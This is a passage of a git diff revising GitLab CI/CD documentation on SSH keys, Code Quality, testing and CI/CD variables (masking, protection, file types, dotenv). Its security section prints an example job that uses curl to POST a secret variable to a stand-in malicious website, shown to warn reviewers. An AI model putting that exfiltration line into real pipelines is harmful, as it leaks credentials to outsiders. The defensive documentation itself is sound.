+52,7 @@ to access it. In this case, you can use an SSH key pair. **Do not** add a passphrase to the SSH key, or the `before_script` will prompt for it. -1. Create a new [CI/CD variable](../variables/index.md). +1. Create a new [file type CI/CD variable](../variables/index.md). As **Key** enter the name `SSH_PRIVATE_KEY` and in the **Value** field paste the content of your _private_ key that you created earlier. @@ -73,12 +73,11 @@ to access it. In this case, you can use an SSH key pair. - eval $(ssh-agent -s) ## - ## Add the SSH key stored in SSH_PRIVATE_KEY variable to the agent store - ## We're using tr to fix line endings which makes ed25519 keys work - ## without extra base64 encoding. - ## https://gitlab.com/gitlab-examples/ssh-private-key/issues/1#note_48526556 + ## Give the right permissions, otherwise ssh-add will refuse to add files + ## Add the SSH key stored in SSH_PRIVATE_KEY file type CI/CD variable to the agent store ## - - echo "$SSH_PRIVATE_KEY" | tr -d '\r' | ssh-add - + - chmod 400 "$SSH_PRIVATE_KEY" + - ssh-add "$SSH_PRIVATE_KEY" ## ## Create the SSH directory and give it the right permissions @@ -100,7 +99,7 @@ to access it. In this case, you can use an SSH key pair. 1. Make sure the private server's [SSH host keys are verified](#verifying-the-ssh-host-keys). 1. As a final step, add the _public_ key from the one you created in the first - step to the services that you want to have an access to from within the build + step to the services that you want to have an access to from inside the build environment. If you are accessing a private GitLab repository you must add it as a [deploy key](../../user/project/deploy_keys/index.md). @@ -129,7 +128,7 @@ on, and use that key for all projects that are run on this machine. prompt for it. 1. As a final step, add the _public_ key from the one you created earlier to the - services that you want to have an access to from within the build environment. + services that you want to have an access to from inside the build environment. If you are accessing a private GitLab repository you must add it as a [deploy key](../../user/project/deploy_keys/index.md). @@ -160,14 +159,14 @@ ssh-keyscan example.com ssh-keyscan 1.2.3.4 ``` -Create a new [CI/CD variable](../variables/index.md) with -`SSH_KNOWN_HOSTS` as "Key", and as a "Value" add the output of `ssh-keyscan`. +Create a new [file type CI/CD variable](../variables/index.md#use-file-type-cicd-variables) +with `SSH_KNOWN_HOSTS` as "Key", and as a "Value" add the output of `ssh-keyscan`. If you must connect to multiple servers, all the server host keys must be collected in the **Value** of the variable, one key per line. NOTE: -By using a variable instead of `ssh-keyscan` directly inside +By using a file type CI/CD variable instead of `ssh-keyscan` directly inside `.gitlab-ci.yml`, it has the benefit that you don't have to change `.gitlab-ci.yml` if the host domain name changes for some reason. Also, the values are predefined by you, meaning that if the host keys suddenly change, the CI/CD job doesn't fail, @@ -180,10 +179,10 @@ above, you must add: ```yaml before_script: ## - ## Assuming you created the SSH_KNOWN_HOSTS variable, uncomment the + ## Assuming you created the SSH_KNOWN_HOSTS file type CI/CD variable, uncomment the ## following two lines. ## - - echo "$SSH_KNOWN_HOSTS" >> ~/.ssh/known_hosts + - cp "$SSH_KNOWN_HOSTS" ~/.ssh/known_hosts - chmod 644 ~/.ssh/known_hosts ## diff --git a/doc/ci/testing/code_quality.md b/doc/ci/testing/code_quality.md index 2a1dffe07fc..4b826991bb5 100644 --- a/doc/ci/testing/code_quality.md +++ b/doc/ci/testing/code_quality.md @@ -191,13 +191,13 @@ Code Quality now runs in standard Docker mode. ## Disable Code Quality The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` CI/CD variable -is present. Refer to the CI/CD variables [documentation](../variables/index.md) -to learn more about how to define one. +is present. For more information about how to define a variable, see +[GitLab CI/CD variables](../variables/index.md). To disable Code Quality, create a custom CI/CD variable named `CODE_QUALITY_DISABLED`, for either: - [The whole project](../variables/index.md#for-a-project). -- [A single pipeline](../variables/index.md#override-a-variable-when-running-a-pipeline-manually). +- [A single pipeline](../pipelines/index.md#run-a-pipeline-manually). ## Customizing scan settings @@ -432,7 +432,6 @@ include: code_quality: variables: - CODE_QUALITY_IMAGE: "$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/codequality:0.85.24" ## You must add a trailing slash to `$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`. CODECLIMATE_PREFIX: $CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/ CODECLIMATE_REGISTRY_USERNAME: $CI_DEPENDENCY_PROXY_USER @@ -531,8 +530,6 @@ This can be due to multiple reasons: - Your pipeline is not set to run the code quality job on your target branch. If there is no report generated from the target branch, your merge request branch reports have nothing to compare to. In this situation you get an error stating `Base pipeline codequality artifact not found`. -- If no [degradation or error is detected](https://docs.codeclimate.com/docs/maintainability#section-checks), - nothing is displayed. - The [`artifacts:expire_in`](../yaml/index.md#artifactsexpire_in) CI/CD setting can cause the Code Quality artifacts to expire faster than desired. - The widgets use the pipeline of the latest commit to the target branch. If commits are made to the @@ -540,12 +537,6 @@ This can be due to multiple reasons: have no base report for comparison. - If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables), no report file is generated and nothing displays in the merge request. -- Large `gl-code-quality-report.json` files (esp. >10 MB) are [known to prevent the report from being displayed](https://gitlab.com/gitlab-org/gitlab/-/issues/2737). - As a workaround, try removing [properties](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types) - that are [ignored by GitLab](#implement-a-custom-tool). You can: - - Configure the Code Quality tool to not output those types. - - Use `sed`, `awk` or similar commands in the `.gitlab-ci.yml` script to edit the - `gl-code-quality-report.json` before the job completes. ### Only a single Code Quality report is displayed, but more are defined @@ -614,7 +605,7 @@ variables: ### Using Code Quality with Kubernetes CI executor -Code Quality requires a Docker in Docker setup to work. The Kubernetes executor already [has support for this](https://docs.gitlab.com/runner/executors/kubernetes.md#using-dockerdind). +Code Quality requires a Docker in Docker setup to work. The Kubernetes executor already [has support for this](https://docs.gitlab.com/runner/executors/kubernetes.html#using-dockerdind). To ensure Code Quality jobs can run on a Kubernetes executor: diff --git a/doc/ci/testing/fail_fast_testing.md b/doc/ci/testing/fail_fast_testing.md index b1bc44a0a37..4ad1656c8d6 100644 --- a/doc/ci/testing/fail_fast_testing.md +++ b/doc/ci/testing/fail_fast_testing.md @@ -27,7 +27,7 @@ Fail fast testing is useful when adding new functionality to a project and addin new automated tests. Your project could have hundreds of thousands of tests that take a long time to complete. -You may be confident that a new test will pass, but you have to wait for all the tests +You may expect a new test to pass, but you have to wait for all the tests to complete to verify it. This could take an hour or more, even when using parallelization. Fail fast testing gives you a faster feedback loop from the pipeline. It lets you diff --git a/doc/ci/testing/load_performance_testing.md b/doc/ci/testing/load_performance_testing.md index ba7bf14fb59..7e527fae562 100644 --- a/doc/ci/testing/load_performance_testing.md +++ b/doc/ci/testing/load_performance_testing.md @@ -60,7 +60,7 @@ Configuring your Load Performance Testing job can be broken down into several di ### Determine the test parameters The first thing you need to do is determine the [type of load test](https://k6.io/docs/test-types/introduction) -you want to run, and how it will run (for example, the number of users, throughput, and so on). +you want to run, and how you want it to run (for example, the number of users, throughput, and so on). Refer to the [k6 docs](https://k6.io/docs/), especially the [k6 testing guides](https://k6.io/docs/testing-guides), for guidance on the above and more. @@ -69,7 +69,7 @@ for guidance on the above and more. A large part of the effort around load performance testing is to prepare the target test environment for high loads. You should ensure it's able to handle the -[throughput](https://k6.io/blog/monthly-visits-concurrent-users) it will be tested with. +[throughput](https://k6.io/blog/monthly-visits-concurrent-users) it is tested with. It's also typically required to have representative test data in the target environment for the load performance test to use. @@ -121,7 +121,7 @@ the k6 test. NOTE: For Kubernetes setups a different template should be used: [`Jobs/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Load-Performance-Testing.gitlab-ci.yml). -k6 has [various options](https://k6.io/docs/using-k6/k6-options/reference/) to configure how it will run tests, such as what throughput (RPS) to run with, +k6 has [various options](https://k6.io/docs/using-k6/k6-options/reference/) to configure how it runs the tests, such as what throughput (RPS) to run with, how long the test should run, and so on. Almost all options can be configured in the test itself, but as you can also pass command line options via the `K6_OPTIONS` variable. diff --git a/doc/ci/testing/test_coverage_visualization.md b/doc/ci/testing/test_coverage_visualization.md index 9bff8dbf780..e2a1a4a2c5e 100644 --- a/doc/ci/testing/test_coverage_visualization.md +++ b/doc/ci/testing/test_coverage_visualization.md @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w With the help of [GitLab CI/CD](../index.md), you can collect the test coverage information of your favorite testing or coverage-analysis tool, and visualize -this information inside the file diff view of your merge requests (MRs). This will allow you +this information inside the file diff view of your merge requests (MRs). This allows you to see which lines are covered by tests, and which lines still require coverage, before the MR is merged. @@ -64,7 +64,7 @@ You must configure these separately. A limit of 100 `<source>` nodes for Cobertura format XML files applies. If your Cobertura report exceeds 100 nodes, there can be mismatches or no matches in the merge request diff view. -A single Cobertura XML file can be no more than 10MiB. For large projects, split the Cobertura XML into +A single Cobertura XML file can be no more than 10 MiB. For large projects, split the Cobertura XML into smaller files. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/328772) for more details. When submitting many files, it can take a few minutes for coverage to show on a merge request. diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md index 6783ab1bfed..17ce184ee28 100644 --- a/doc/ci/troubleshooting.md +++ b/doc/ci/troubleshooting.md @@ -324,6 +324,13 @@ On a self-managed instance, you can [increase the size limits](../administration A [loop of included configuration files](pipeline_editor/index.md#configuration-validation-currently-not-available-message) can cause a `500` error when editing the `.gitlab-ci.yml` file with the [web editor](../user/project/repository/web_editor.md). +### A CI/CD job does not use newer configuration when run again + +The configuration for a pipeline is only fetched when the pipeline is created. +When you rerun a job, uses the same configuration each time. If you update configuration files, +including separate files added with [`include`](yaml/index.md#include), you must +start a new pipeline to use the new configuration. + ## Pipeline warnings Pipeline configuration warnings are shown when you: diff --git a/doc/ci/variables/index.md b/doc/ci/variables/index.md index 5a1426b1356..ec5c6c240a6 100644 --- a/doc/ci/variables/index.md +++ b/doc/ci/variables/index.md @@ -13,20 +13,12 @@ CI/CD variables are a type of environment variable. You can use them to: - Store values you want to re-use. - Avoid hard-coding values in your `.gitlab-ci.yml` file. -You can use: - -- [Predefined CI/CD variables](#predefined-cicd-variables). -- [Variables defined in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). -- [Variables defined in project, group, or instance settings](#define-a-cicd-variable-in-the-ui). - You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) to execute scripts. Each shell has its own set of reserved variable names. -Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). - > For more information about advanced use of GitLab CI/CD: > > - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Get to productivity faster with these [7 advanced GitLab CI workflow hacks](https://about.gitlab.com/webcast/7cicd-hacks/) @@ -37,97 +29,114 @@ Make sure each variable is defined for the [scope you want to use it in](where_v ## Predefined CI/CD variables GitLab CI/CD makes a set of [predefined CI/CD variables](predefined_variables.md) -available for use in pipeline configuration and job scripts. You can use predefined CI/CD variables -in your `.gitlab-ci.yml` without declaring them first. +available for use in pipeline configuration and job scripts. These variables contain +information about the job, pipeline, and other values you might need when the pipeline +is triggered or running. +You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first. For example: ```yaml job1: stage: test script: - - echo "$CI_JOB_STAGE" + - echo "The job's stage is '$CI_JOB_STAGE'" ``` -The script in this example outputs the stage for the `job1` job, which is `test`. +The script in this example outputs `The job's stage is 'test'`. ## Define a CI/CD variable in the `.gitlab-ci.yml` file -To create a custom variable in the [`.gitlab-ci.yml`](../yaml/index.md#variables) file, -define the variable and value with `variables` keyword. +To create a CI/CD variable in the `.gitlab-ci.yml` file, define the variable and +value with the [`variables`](../yaml/index.md#variables) keyword. + +Variables saved in the `.gitlab-ci.yml` file are visible to all users with access to +the repository, and should store only non-sensitive project configuration. For example, +the URL of a database saved in a `DATABASE_URL` variable. Sensitive variables containing values +like secrets or keys should be [stored in project settings](#define-a-cicd-variable-in-the-ui). -You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file. -If the variable is at the top level, it's globally available and all jobs can use it. -If it's defined in a job, only that job can use it. +You can use `variables` in a job or at the top level of the `.gitlab-ci.yml` file. +If the variable is defined: + +- At the top level, it's globally available and all jobs can use it. +- In a job, only that job can use it. + +For example: ```yaml variables: - TEST_VAR: "All jobs can use this variable's value" + GLOBAL_VAR: "A global variable" job1: variables: - TEST_VAR_JOB: "Only job1 can use this variable's value" + JOB_VAR: "A job variable" script: - - echo "$TEST_VAR" and "$TEST_VAR_JOB" + - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'" + +job2: + script: + - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'" ``` -Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project -configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are -visible in the repository. Store sensitive variables containing values like secrets or keys -in project settings. +In this example: -Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md). +- `job1` outputs `Variables are 'A global variable' and 'A job variable'` +- `job2` outputs `Variables are 'A global variable' and ''` + +Use the [`value` and `description`](../yaml/index.md#variablesdescription) keywords +to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) +for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). + +### Skip global variables in a single job If you don't want globally defined variables to be available in a job, set `variables` to `{}`: ```yaml +variables: + GLOBAL_VAR: "A global variable" + job1: variables: {} script: - echo This job does not need any variables ``` -Use the [`value` and `description`](../yaml/index.md#variablesdescription) -keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) -for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). - ## Define a CI/CD variable in the UI -You can define CI/CD variables in the UI: +Sensitive variables like tokens or passwords should be stored in the settings in the UI, +not [in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). +Define CI/CD variables in the UI: -- For a project: - - [In the project's settings](#for-a-project). - - [With the API](../../api/project_level_variables.md). +- For a project [in the project's settings](#for-a-project). - For all projects in a group [in the group's setting](#for-a-group). - For all projects in a GitLab instance [in the instance's settings](#for-an-instance). -By default, pipelines from forked projects can't access CI/CD variables in the parent project. +Alternatively, these variables can be added by using the API: + +- [With the project-level variables API endpoint](../../api/project_level_variables.md). +- [With the group-level variables API endpoint](../../api/group_level_variables.md). +- [With the instance-level variables API endpoint](../../api/instance_level_ci_variables.md). + +By default, pipelines from forked projects can't access the CI/CD variables available to the parent project. If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project), all variables become available to the pipeline. -Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md). -To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`: +### For a project -```yaml -variables: - SA_PASSWORD: $SA_PASSWORD -``` +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, projects can define a maximum of 200 CI/CD variables. +> - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/373289) in GitLab 15.9, projects can define a maximum of 8000 CI/CD variables. -### For a project +You can add CI/CD variables to a project's settings. -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, projects can define a maximum of 200 CI/CD variables. +Prerequisite: -You can add CI/CD variables to a project's settings. Only project members with the -Maintainer role -can add or update project CI/CD variables. To keep a CI/CD variable secret, put it -in the project settings, not in the `.gitlab-ci.yml` file. +- You must be a project member with the Maintainer role. To add or update variables in the project settings: 1. Go to your project's **Settings > CI/CD** and expand the **Variables** section. 1. Select **Add variable** and fill in the details: - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). @@ -145,20 +154,18 @@ or in [job scripts](#use-cicd-variables-in-job-scripts). > - Support for environment scopes [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) in GitLab Premium 13.11 > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, groups can define a maximum of 200 CI/CD variables. +> - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/373289) in GitLab 15.9, groups can define a maximum of 30000 CI/CD variables. -To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. -You must be a group owner. +You can make a CI/CD variable available to all projects in a group. -Use group variables to store secrets like passwords, SSH keys, and credentials, if you: +Prerequisite: -- Do not use an external key store. -- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). +- You must be a group member with the Owner role. To add a group variable: 1. In the group, go to **Settings > CI/CD**. 1. Select **Add variable** and fill in the details: - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). @@ -178,17 +185,17 @@ are recursively inherited. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. -To make a CI/CD variable available to all projects and groups in a GitLab instance, -add an instance CI/CD variable. You must have administrator access. +You can make a CI/CD variable available to all projects and groups in a GitLab instance. -You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md). +Prerequisite: + +- You must have administrator access. To add an instance variable: 1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Settings > CI/CD** and expand the **Variables** section. 1. Select **Add variable** and fill in the details: - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: In [GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), the value is limited to 10,000 characters, but also bounded by any limits in the @@ -204,10 +211,8 @@ The instance variables that are available in a project are listed in the project ## CI/CD variable security -Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables -and send them to a third party server regardless of the masked setting. If the pipeline -runs on a [protected branch](../../user/project/protected_branches.md) or -[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. +Code pushed to the `.gitlab-ci.yml` file could compromise your variables. Variables could +be accidentally exposed in a job log, or maliciously sent to a third party server. Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: @@ -219,11 +224,27 @@ Review the `.gitlab-ci.yml` file of imported projects before you add files or ru The following example shows malicious code in a `.gitlab-ci.yml` file: ```yaml -build: - script: +accidental-leak-job: + script: # Password exposed accidentally + - echo "This script logs into the DB with $USER $PASSWORD" + - db-login $USER $PASSWORD + +malicious-job: + script: # Secret exposed maliciously - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` +To help reduce the risk of accidentally leaking secrets through scripts like in `accidental-leak-job`, +all variables containing sensitive information should be [masked in job logs](#mask-a-cicd-variable). +You can also [limit a variable to protected branches and tags only](#protect-a-cicd-variable). + +Alternatively, use the GitLab [integration with HashiCorp Vault](../secrets/index.md) +to store and retrieve secrets. + +Malicious scripts like in `malicious-job` must be caught during the review process. +Reviewers should never trigger a pipeline when they find code like this, because +malicious code can compromise both masked and protected variables. + Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) and stored in the database. This data can only be read and decrypted with a valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). @@ -232,9 +253,20 @@ valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is- > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330650) in GitLab 13.12, the `~` character can be used in masked variables. +WARNING: +Masking a CI/CD variable is not a guaranteed way to prevent malicious users from +accessing variable values. The masking feature is "best-effort" and there to +help when a variable is accidentally revealed. To make variables more secure, +consider using [external secrets](../secrets/index.md) and [file type variables](#use-file-type-cicd-variables) +to prevent commands such as `env`/`printenv` from printing secret variables. + You can mask a project, group, or instance CI/CD variable so the value of the variable does not display in job logs. +Prerequisite: + +- You must have the same role or access level as required to [define a CI/CD variable in the UI](#define-a-cicd-variable-in-the-ui). + To mask a variable: 1. In the project, group, or Admin Area, go to **Settings > CI/CD**. @@ -252,21 +284,13 @@ The value of the variable must: - The `@`, `:`, `.`, or `~` characters. - Not match the name of an existing predefined or custom CI/CD variable. -WARNING: -Masking a CI/CD variable is not a guaranteed way to prevent malicious users from -accessing variable values. The masking feature is "best-effort" and there to -help when a variable is accidentally revealed. To make variables more secure, -consider using [external secrets](../secrets/index.md) and [file type variables](#use-file-type-cicd-variables) -to prevent commands such as `env`/`printenv` from printing secret variables. - -Runner versions implement masking in different ways, some with technical -limitations. Below is a table of such limitations. +Different versions of [GitLab Runner](../runners/index.md) have different masking limitations: -| Version from | Version to | Limitations | -| ------------ | ---------- | ------ | -| v11.9.0 | v14.1.0 | Masking of large secrets (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | -| v14.2.0 | v15.3.0 | The tail of a large secret (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | -| v15.7.0 | | Potential for secrets to be revealed when `CI_DEBUG_SERVICES` is enabled. For details, read about [service container logging](../services/index.md#capturing-service-container-logs). | +| Version | Limitations | +| ------------------- | ----------- | +| v14.1.0 and earlier | Masking of large secrets (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | +| v14.2.0 to v15.3.0 | The tail of a large secret (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | +| v15.7.0 and later | Secrets could be revealed when `CI_DEBUG_SERVICES` is enabled. For details, read about [service container logging](../services/index.md#capturing-service-container-logs). | ### Protect a CI/CD variable @@ -276,11 +300,14 @@ or [protected tags](../../user/project/protected_tags.md). [Merged results pipelines](../pipelines/merged_results_pipelines.md), which run on a temporary merge commit, not a branch or tag, do not have access to these variables. +[Merge request pipelines](../pipelines/merge_request_pipelines.md), which do not use +a temporary merge commit, can access these variables if the branch is a protected branch. + +Prerequisite: -Pipelines that run directly on the merge request's source branch, with no added merge commit, can access -these variables if the source branch is a protected branch. +- You must have the same role or access level as required to [define a CI/CD variable in the UI](#define-a-cicd-variable-in-the-ui). -To mark a variable as protected: +To set a variable as protected: 1. Go to **Settings > CI/CD** in the project, group or instance Admin Area. 1. Expand the **Variables** section. @@ -293,36 +320,35 @@ The variable is available for all subsequent pipelines. ### Use file type CI/CD variables All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file -are `Variable` type. Project, group and instance CI/CD variables can be `Variable` -or `File` type. - -`Variable` type variables: +are "variable" type ([`variable_type` of `env_var` in the API](#define-a-cicd-variable-in-the-ui)). +Variable type variables: - Consist of a key and value pair. - Are made available in jobs as environment variables, with: - The CI/CD variable key as the environment variable name. - The CI/CD variable value as the environment variable value. -Use `File` type CI/CD variables for tools that need a file as input. - -`File` type variables: +Project, group, and instance CI/CD variables are "variable" type by default, but can +optionally be set as a "file" type ([`variable_type` of `file` in the API](#define-a-cicd-variable-in-the-ui)). +File type variables: -- Consist of a key, value and file. -- Are made available in jobs as environment variables, with +- Consist of a key, value, and file. +- Are made available in jobs as environment variables, with: - The CI/CD variable key as the environment variable name. - The CI/CD variable value saved to a temporary file. - The path to the temporary file as the environment variable value. -Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) +Use file type CI/CD variables for tools that need a file as input. [The AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) -use `File` type variables for configuration. +are both tools that use `File` type variables for configuration. -For example, if you have the following variables: +For example, if you are using `kubectl` with: -- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. -- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. +- A variable with a key of `KUBE_URL` and `https://example.com` as the value. +- A file type variable with a key of `KUBE_CA_PEM` and a certificate as the value. -Use the variables in a job script like this: +Pass `KUBE_URL` as a `--server` option, which accepts a variable, and pass `$KUBE_CA_PEM` +as a `--certificate-authority` option, which accepts a path to a file: ```shell kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" @@ -331,19 +357,27 @@ kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KU WARNING: Be careful when assigning the value of a file variable to another variable. The other variable takes the content of the file as its value, **not** the path to the file. -See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details. +[Issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) proposes to change this behavior. -An alternative to `File` type variables is to: +#### Use a `.gitlab-ci.yml` variable as a file type variable -- Read the value of a CI/CD variable (`variable` type). -- Save the value in a file. -- Use that file in your script. +You cannot set a CI/CD variable [defined in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file) +as a file type variable. If you have a tool that requires a file path as an input, +but you want to use a variable defined in the `.gitlab-ci.yml`: -```shell -# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file -echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" -# Pass the newly created file to kubectl -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" +- Run a command that saves the value of the variable in a file. +- Use that file with your tool. + +For example: + +```yaml +variables: + SITE_URL: "https://example.gitlab.com" + +job: + script: + - echo "$SITE_URL" > "site-url.txt" + - mytool --url-file="site-url.txt" ``` ## Use CI/CD variables in job scripts @@ -368,7 +402,7 @@ job_name: ### With PowerShell To access variables in a Windows PowerShell environment, including environment -variables set by the system, prefix the variable name with (`$env:`) or (`$`): +variables set by the system, prefix the variable name with `$env:` or `$`: ```yaml job_name: @@ -389,8 +423,7 @@ job_name: ### With Windows Batch -To access CI/CD variables in Windows Batch, surround the variable -with `%`: +To access CI/CD variables in Windows Batch, surround the variable with `%`: ```yaml job_name: @@ -399,7 +432,7 @@ job_name: ``` You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html). -Delayed expansion might be needed for variables that contain white spaces or newlines. +Delayed expansion might be needed for variables that contain white spaces or newlines: ```yaml job_name: @@ -407,29 +440,43 @@ job_name: - echo !ERROR_MESSAGE! ``` +### In service containers + +[Service containers](../docker/using_docker_images.md) can use CI/CD variables, but +by default can only access [variables saved in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). + +Variables [set in the GitLab UI](#define-a-cicd-variable-in-the-ui) by default are not available to +service containers. To make a UI-defined variable available in a service container, +re-assign it in your `.gitlab-ci.yml`: + +```yaml +variables: + SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI +``` + ### Pass an environment variable to another job > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1. -You can pass environment variables from one job to another job in a later stage -through variable inheritance. -These variables cannot be used as CI/CD variables to configure a pipeline, but -they can be used in job scripts. +You can create a new environment variables in a job, and pass it to another job +in a later stage. These variables cannot be used as CI/CD variables to configure a pipeline, +but they can be used in job scripts. + +To pass a job-created environment variable to other jobs: 1. In the job script, save the variable as a `.env` file. - The format of the file must be one variable definition per line. - - Each defined line must be of the form `VARIABLE_NAME=ANY VALUE HERE`. + - Each line must be formatted as: `VARIABLE_NAME=ANY VALUE HERE`. - Values can be wrapped in quotes, but cannot contain newline characters. 1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/artifacts_reports.md#artifactsreportsdotenv) artifact. 1. Jobs in later stages can then [use the variable in scripts](#use-cicd-variables-in-job-scripts). -Inherited variables [take precedence](#cicd-variable-precedence) over -certain types of new variable definitions such as job defined variables. +For example: ```yaml -build: +build-job: stage: build script: - echo "BUILD_VARIABLE=value_from_build_job" >> build.env @@ -437,92 +484,95 @@ build: reports: dotenv: build.env -deploy: - stage: deploy - variables: - BUILD_VARIABLE: value_from_deploy_job +test-job: + stage: test script: - - echo "$BUILD_VARIABLE" # Output is: 'value_from_build_job' due to precedence - environment: production + - echo "$BUILD_VARIABLE" # Output is: 'value_from_build_job' ``` -The [`dependencies`](../yaml/index.md#dependencies) or -[`needs`](../yaml/index.md#needs) keywords can be used to control -which jobs receive inherited values. +Variables from `dotenv` reports [take precedence](#cicd-variable-precedence) over +certain types of new variable definitions such as job defined variables. + +You can also [pass `dotenv` variables to downstream pipelines](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job) + +#### Control which jobs receive `dotenv` variables -To have no inherited dotenv environment variables, pass an empty `dependencies` or -`needs` list, or pass [`needs:artifacts`](../yaml/index.md#needsartifacts) as `false` +You can use the [`dependencies`](../yaml/index.md#dependencies) or [`needs`](../yaml/index.md#needs) +keywords to control which jobs receive the `dotenv` artifacts. + +To have no environment variables from a `dotenv` artifact: + +- Pass an empty `dependencies` or `needs` array. +- Pass [`needs:artifacts`](../yaml/index.md#needsartifacts) as `false`. +- Set `needs` to only list jobs that do not have a `dotenv` artifact. + +For example: ```yaml -build: +build-job1: stage: build script: - - echo "BUILD_VERSION=hello" >> build.env + - echo "BUILD_VERSION=v1.0.0" >> build.env artifacts: reports: dotenv: build.env -deploy_one: - stage: deploy +build-job2: + stage: build + needs: [] script: - - echo "$BUILD_VERSION" # Output is: 'hello' + - echo "This job has no dotenv artifacts" + +test-job1: + stage: test + script: + - echo "$BUILD_VERSION" # Output is: 'v1.0.0' dependencies: - build - environment: - name: customer1 - deployment_tier: production -deploy_two: - 